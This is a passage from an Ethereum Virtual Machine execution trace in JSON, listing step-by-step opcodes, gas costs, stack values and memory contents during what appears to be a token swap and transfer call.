000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":13240,"op":"PUSH1","gas":98770,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x220"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":13242,"op":"MLOAD","gas":98767,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x220","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":13243,"op":"DUP1","gas":98764,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x220","0x2a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":13244,"op":"PUSH1","gas":98761,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x220","0x2a4","0x2a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":13246,"op":"ADD","gas":98758,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x220","0x2a4","0x2a4","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":13247,"op":"PUSH1","gas":98755,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x220","0x2a4","0x2e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":13249,"op":"MSTORE","gas":98752,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x220","0x2a4","0x2e4","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":13250,"op":"DUP1","gas":98749,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x220","0x2a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":13251,"op":"PUSH1","gas":98746,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x220","0x2a4","0x2a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":13253,"op":"DUP2","gas":98743,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x220","0x2a4","0x2a4","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":13254,"op":"MSTORE","gas":98740,"gasCost":7,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x220","0x2a4","0x2a4","0x20","0x2a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":13255,"op":"PUSH1","gas":98733,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x220","0x2a4","0x2a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000"]},{"pc":13257,"op":"ADD","gas":98730,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x220","0x2a4","0x2a4","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000"]},{"pc":13258,"op":"PUSH32","gas":98727,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x220","0x2a4","0x2c4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf40000000000000000000000000000000000000000000000004563